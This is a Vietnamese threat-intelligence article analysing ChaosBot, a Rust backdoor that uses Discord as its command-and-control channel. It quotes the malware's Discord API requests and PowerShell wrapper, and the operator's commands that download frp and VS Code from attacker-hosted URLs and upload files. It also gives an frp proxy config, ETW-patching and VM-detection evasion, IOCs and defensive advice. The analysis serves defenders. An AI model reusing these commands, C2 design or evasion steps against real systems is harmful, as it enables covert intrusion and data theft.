Mã độc mới "ChaosBot" sử dụng Discord thực hiện tấn công máy nạn nhân, trong đó có Việt Nam

Mở đầu
Cuối tháng 9 năm 2025, Đơn vị Ứng phó Mối đe dọa (Threat Response Unit, TRU) của eSentire phát hiện một backdoor mới viết bằng Rust trong môi trường của một khách hàng cung cấp dịch vụ tài chính. TRU đặt tên cho phần mềm độc hại này là ChaosBot. Thay vì dùng hạ tầng C2 truyền thống, ChaosBot lợi dụng các dịch vụ Discord hợp pháp để trao đổi lệnh và dữ liệu với kẻ tấn công.
Tên “ChaosBot” bắt nguồn từ hồ sơ Discord của một threat actor là chaos_00019 và Zalo, người được xác định là nguồn gửi lệnh tới các máy bị nhiễm. Phân tích nạn nhân cho thấy kẻ điều khiển chủ yếu nhắm tới người dùng nói tiếng Việt, nhưng không chỉ giới hạn ở vậy.
Chuỗi tấn công

Truy nhập ban đầu & di chuyển ngang
Kẻ tấn công sử dụng thông tin xác thực bị chiếm (compromised credentials) bao gồm tài khoản CiscoVPN và một tài khoản Active Directory có quyền cao tên serviceaccount.
Với tài khoản bị chiếm, họ dùng WMI để thực thi lệnh từ xa trên các máy trong mạng, triển khai và chạy ChaosBot.
DLL side-loading
Payload ChaosBot mang tên
msedge_elf.dllđược side-loaded thông qua thành phần hợp pháp của Microsoft Edge:identity_helper.exe.Vị trí lưu trữ/mục tí được sử dụng:
C:\Users\Public\Libraries.
Thiết lập backdoor bổ sung
Sau khi chạy, ChaosBot thực hiện thu thập thông tin hệ thống và tải về fast reverse proxy (frp) để thiết lập một reverse proxy vào mạng.
Kẻ tấn công còn thử tải Visual Studio Code và cố gắng cấu hình VS Code Tunnel như một backdoor bổ sung để chạy lệnh/ script — nhưng thao tác này thất bại do tương tác chọn phương thức xác thực.
Vector truy nhập thay thế
Theo báo cáo của Szabolcs Schmidt trên X (Twitter), các operator của ChaosBot cũng triển khai chiến dịch phishing dùng Windows Shortcut (LNK) độc hại.
Shortcut chạy một lệnh PowerShell tải về và thực thi ChaosBot.
Đồng thời shortcut tải/ mở một file PDF "vô hại" mạo danh thư từ Ngân hàng Nhà nước Việt Nam để đánh lừa nạn nhân.
Phân tích kỹ thuật
Ngôn ngữ: Rust.
Thư viện Discord: tùy biến theo biến thể — reqwest hoặc serenity để tương tác với Discord API.
Mẫu được mô tả trong báo cáo có SHA256:
90f16e9dd3d919a4e6173219a1561ab04607a490567da736fa2ab0180d6fffbb.
Cấu hình (ví dụ)
Cấu hình chứa: token bot Discord, guild (server) ID và channel ID — những thông tin này dùng để gửi/nhận lệnh và báo cáo khi thiết bị bị nhiễm.
Kiểm tra token
ChaosBot thực hiện
GEThttps://discord.com/api/v10/users/@mevới header:GET https://discord.com/api/v10/users/@me HTTP/1.1 authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN> accept: */* host: discord.comđể xác thực tính hợp lệ của bot token.
Tạo channel riêng cho nạn nhân
Sau khi token hợp lệ, malware tạo một channel mới trong server của kẻ tấn công, tên channel thường là tên máy nạn nhân (hoặc tên máy + định danh phần cứng).
POST https://discord.com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels HTTP/1.1 authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN> content-type: application/json accept: */* host: discord.com content-length: 35 {"name":"<VICTIM_COMPUTER_NAME>","type":0}Sau đó gửi thông báo vào channel “#general” của operator rằng một host mới đã kết nối, và channel mới đó dùng để nhận lệnh cho máy bị nhiễm.
Ghi chú ngôn ngữ/locale
Tất cả server được biết tới dùng một channel có tên
"常规", gợi ý kẻ điều khiển có thể dùng phiên bản Discord/locale tiếng Trung.POST https://discord.com/api/v10/channels/<THREAT_ACTOR_GENERAL_CHANNEL_ID>/messages HTTP/1.1 authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN> content-type: application/json accept: */* host: discord.com content-length: 85 {"content":"Host <VICTIM_COMPUTER_NAME> connected, channel created: <#<NEW_VICTIM_CHANNEL_ID>>"}
Các hoạt động của mã độc
Malware lặp lại (poll) để kiểm tra tin nhắn (lệnh) trong channel của nạn nhân:
GET https://discord.com/api/v10/channels/<NEW_VICTIM_CHANNEL_ID>/messages?limit=1 HTTP/1.1 authorization: Bot <THREAT_ACTOR_DISCORD_BOT_TOKEN> accept: */* host: discord.com [{"type": 0,"content": "shell systeminfo"...ví dụ lệnh:
"shell systeminfo"(tắt bớt để dễ đọc).Khi xử lý lệnh dạng
shell, ChaosBot khởi một tiến trình PowerShell mới với tiền tố đảm bảo mã hóa UTF-8:powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND>"điều này giúp bảo toàn ký tự (quan trọng với đầu ra chứa ký tự Unicode).
Kết quả (stdout/stderr), ảnh chụp màn hình, hoặc file được upload trở lại Discord channel dưới dạng multipart/form-data (đính kèm file).

Một vài khả năng thu thập/triển khai
shell <command>: chạy lệnh qua PowerShell, upload kết quả dạng TXT.download <url> <dest_path>: tải file tới thiết bị nạn nhân.scr: chụp ảnh màn hình, upload PNG.upload <src_path>: upload file từ máy nạn nhân.
Kỹ thuật né tránh
Vô hiệu hóa ETW (Event Tracing for Windows)
- Một biến thể của ChaosBot patch trực tiếp vài lệnh đầu tiên của
ntdll!EtwEventWrite(ví dụ thay bằngxor eax, eax; ret) để ngăn ETW thu thập telemetry từ process, khiến EDR/AV/sandbox khó ghi nhận hành vi.
- Một biến thể của ChaosBot patch trực tiếp vài lệnh đầu tiên của
Phát hiện máy ảo (VM detection)
- Kiểm tra địa chỉ MAC so với các tiền tố MAC phổ biến của VMWare và VirtualBox; nếu khớp, malware sẽ thoát để tránh bị phân tích trong sandbox.
FRP (Fast Reverse Proxy) — duy trì truy cập
Kẻ tấn công dùng lệnh
downloadđể tảifrpvềC:\Users\Public\Music\node.exevà file cấu hìnhnode.ini.download hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510506380722229/node.exe?ex=68d205ad&is=68d0b42d&hm=12fc1ef2525834019505a2830ae2c200d0a2f37c34e9a141ee2488751c42a377& c:\\users\\public\\music\\node.exe download hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510525158621295/node?ex=68d205b2&is=68d0b432&hm=f8f4d85c862efec8b1b9f9a519da1f3472070fd3a171aca4936a9d037965374b& c:\\users\\public\\music\\node.iniSau đó khởi
node.exevới file cấu hình:shell c:\users\public\music\node.exe -c c:\users\public\music\node.iniVí dụ cấu hình
frpcho thấy server ở địa chỉ IP thuộc AWS Asia Pacific (Hong Kong):18.162.110[.]113, cổng 7000, và một service socks5 mở remote_port = 6005 (kèm user/password).#frpc.ini [common] server_addr = 18.162.110[.]113 server_port = 7000 token = frp admin use_encryption = true use_compression = true tls_enable = true [plugin_socks5] type = tcp remote_port = 6005 plugin = socks5 plugin_user = niuben plugin_passwd = <REDACTED>
Hậu quả: kẻ tấn công có thể duy trì kết nối từ xa, vượt qua tường lửa và thực hiện di chuyển ngang trong mạng.
Thử nghiệm Visual Studio Code Tunnel
Kẻ tấn công tải
code.exe(VS Code) và cố gắng cài đặt tunnel service bằng lệnh:download hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/code.exe c:\\users\\public\\music\\code.exe shell (echo | c:\\users\\public\\music\\code.exe tunnel service install > c:\\users\\public\\music\\log) upload c:\\users\\public\\music\\logDo quá trình cài đặt yêu cầu chọn phương thức xác thực (Microsoft account / GitHub) — có tương tác — lệnh tự động bị thất bại. Kẻ tấn công có vẻ đang thử nghiệm và chưa thành công trong kịch bản này.
Các IOC & chuỗi mẫu lệnh
SHA256 mẫu ChaosBot:
90f16e9dd3d919a4e6173219a1561ab04607a490567da736fa2ab0180d6fffbbMẫu file VS Code đã tải:
f764ff0750aab9f2fc4cd9ec90c58f1fc85ac74330fc623104d42dfaaf825103Ví dụ URL tải frp (obfuscated):
hxxps://cdn.discordapp[.]com/attachments/.../node.exe?ex=...&is=...&hm=...Ví dụ IP FRP server:
18.162.110[.]113:7000Các đường dẫn thường thấy:
C:\Users\Public\Libraries,C:\Users\Public\Music\node.exe,C:\Users\Public\Music\node.ini,C:\Users\Public\Music\code.exe
Danh sách IOC được cập nhập thường xuyên tại link sau: iocs/ChaosBot/ChaosBot-IoCs-09-24-2025.txt at main · eSentire/iocs · GitHub
SHA256
a118b24f3b299c7f94f8e2833e98afd19d638b5aa4008e9de1e9667fe9b2b8c6 | msedge_elf.dll (ChaosBot) |
04ac59051a7d9f7a6e1b43b82bd02b609a90674eb42a91a26caa1382912a5f9f | dpapi.dll (ChaosBot) |
4d5f3690cdff840ceba70c1b1630ceadd0d3dcf23c8e0add0257cba2f166f5e6 | UltraViewer.exe (ChaosBot new variant) |
6445e4e9789a3413c19a6b80c1419f55b1144a83f38a8beed033c2850c470820 | vncviewer.exe (ChaosBot variant that uses serenity for Discord API interaction) |
2b2bdd167a27f642d5826afe3bcc4e293dffbfee7ac58d3195dfa2b9b9fac41e | node.exe (fast reverse proxy) |
7e074d667bd4135237c2d0d0789ba8e3d777dbecc964e5090b5d2347fbcc8d38 | code.exe (Visual Studio Code) |
6445e4e9789a3413c19a6b80c1419f55b1144a83f38a8beed033c2850c470820 | ChaosBot (new variant) |
cdc73afb92617d9e2e0b6f2f22587f5f57316250a25b7bb8477a80628703e7b7 | ChaosBot (new variant) |
5a415f0b86c296e785b173a4e1525571b9fdd927f46f58c337b9de25d8bfebff | ChaosBot (new variant) |
f4f9e105a27bcfbaef2449b340dd9ff6f28d1ecb42a74c8f4d1b7571355da3eb | ChaosBot (new variant) |
32fbc9ee81f0538e8b2d1427f8a7bb2c20e698a0a9004964a39fd229f4245615 | ChaosBot (new variant) |
b721ae3c71fb898a0876d6f2fde67628957d067110c0e0de35d74064a4d7f150 | ChaosBot (new variant) |
cc7cd6f43f862528fc1ec72cbb17fe040eec61f1e84118c73ec586fd634c538d | ChaosBot dropper |
6c9a316e7cf8f12c72c4bd2a5d5333a80f68817a058eb0edbc21a1a89e58d6f5 | ChaosBot dropper |
585ee0f329d7feb94d9b329b5d1ce5752fb07146e93fe518018dbb94b82032ec | ChaosBot dropper |
5c516dd8918aa0fb96d735095b2a42968cce67541ce483ddc238503b318fc1dd | ChaosBot dropper |
6903c1d509c843a53e03bb04d09b35d144bce527d7e6361f241cc00161c7c837 | ChaosBot dropper |
75c82147287041df1fa3628b54ea06e2eb5b3aed6b9250b02945a29bac5f9070 | ChaosBot dropper |
a8897a90266df6aebe6a1b8ab191fecad49ecdfb2889230c21cc8eeba115d23e | ChaosBot dropper |
0f873d999bcc3cafe9630e68a36c4e754b89297afb73ffd1189b8e9739b203b7 | ChaosBot dropper |
8c00fc8110bb61d925cddedf355f0bf54a924bed7c92324b12797c99f172dd08 | ChaosBot dropper |
09c43ed814e1ffa520f1e84511fb11df3ac7e42be799fef5b29c7e3f7e6170fb | ChaosBot dropper |
14f4af20ebc25de51b91017510922a05ab4b82f04271ede2298a64e4aebec65d | ChaosBot dropper |
c8e50e9319753a9200e86387a8c05b2d2a4a795b5019496ffb5d9f38749ec629 | ChaosBot dropper |
cbea673af6bb1e1d33b27b763513e92053e4f3ae34874a84e0fc2afd351fd2b4 | ChaosBot dropper |
c98d5618e361797ced9f06f6febfc2c25c2d923105a9ba84465909db7b72d0e3 | ChaosBot dropper |
c0a13c772b43458c1cd9f19806a93805c7d6c65dc06bc3c36d634093138ae046 | ChaosBot dropper |
612210b976d365bf251ff9b0660f346ecb1b913fb2a7d129e643e3f739d5b4aa | ChaosBot dropper |
b6e215982cea2c9e2759dcde1f41c6b78fe424ecbb4930f4eafe6c98bebf1920 | ChaosBot dropper |
5dd508292f41f44dea982eeea720466552bf44e4c7b9d446a61a051feb304223 | ChaosBot dropper |
b774fd6aebbc77f02c8feceee2e70ceedf74061b5dcfc7061732dcd77a9122a2 | ChaosBot dropper |
08c14bc1ddc1742d1c170ef44305651a97c69d57f6b9910250caa71dc4b4cb82 | ChaosBot dropper |
ed220bab22cee1752d432e15c8d086fcb78393d3ef00532c435b45a160d9aef4 | ChaosBot dropper |
e6faa8dfcac72b506105d43ca037d599fbe4df531730553689492f153677537f | ChaosBot dropper |
20762ce45b7d4f2e59f8adf1fd91b3bc3e31c922c8ae04a92aed8529e3d15926 | ChaosBot dropper |
6c118470b018a275ffad889bab5db45902ef8d0a0da17da6b09f5134e13a5372 | ChaosBot dropper |
Domain
hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/code.exe |
hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/edge/msedge_elf.dll |
hxxps://transferai-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/app/index/edge/identity_helper.exe |
hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510506380722229/node.exe?ex=68d205ad&is=68d0b42d&hm=12fc1ef2525834019505a2830ae2c200d0a2f37c34e9a141ee2488751c42a377& |
hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419510525158621295/node?ex=68d205b2&is=68d0b432&hm=f8f4d85c862efec8b1b9f9a519da1f3472070fd3a171aca4936a9d037965374b& |
hxxps://cdn.discordapp[.]com/attachments/1418576301236686928/1419525117595095080/UltraViewer.exe?ex=68d21349&is=68d0c1c9&hm=0b8afb1e51f7aa78cb5d7de7c42d5834bae9cf1ed7beb4f4e3473c22bb4f6eac& |
hxxps://erspce-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/fileserver/VPNupdate.zip |
hxxps://erspce-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/fileserver/VPNupdate.pdf |
hxxps://erspce-all.s3.dualstack.ap-southeast-1.amazonaws[.]com/fileserver/vncviewer.zip |
Kết luận & khuyến nghị
Phía FPT Threat Intelligence đưa ra các khuyến nghị sau:
ChaosBot là một backdoor hiện đại, viết bằng Rust, tận dụng Discord làm kênh C2 — hành vi này khó bị phát hiện nếu chỉ dựa trên lưu lượng HTTP(S) bình thường vì Discord là dịch vụ hợp pháp.
Đặc điểm đáng chú ý: side-loading DLL qua Microsoft Edge, sử dụng frp để tạo kết nối xuyên tuyến, patch ETW và kiểm tra MAC VM.
Khuyến nghị nhanh:
Kiểm tra log đăng nhập VPN và hoạt động tài khoản
serviceaccountcó quyền cao; reset/thu hồi credentials nghi ngờ.Giám sát và chặn các kết nối tới/ từ tài khoản Discord bot không xác thực trong môi trường doanh nghiệp.
Phân tích các file
C:\Users\Public\*bất thường; quét các fileidentity_helper.exebị sửa đổi hoặc DLL side-loaded.Phát hiện thay đổi ntdll!EtwEventWrite (patching) và kiểm tra các tiến trình có hành vi ghi nhớ/ghi patch vào ntdll.
Áp dụng kiểm soát tường lửa/Proxy để hạn chế khả năng tải tệp thực thi từ host bên ngoài và giám sát tải xuống từ CDN/Discord attachments.
Thêm các IOC trên vào danh sách giám sát để phát hiện và ngăn chặn kịp thời






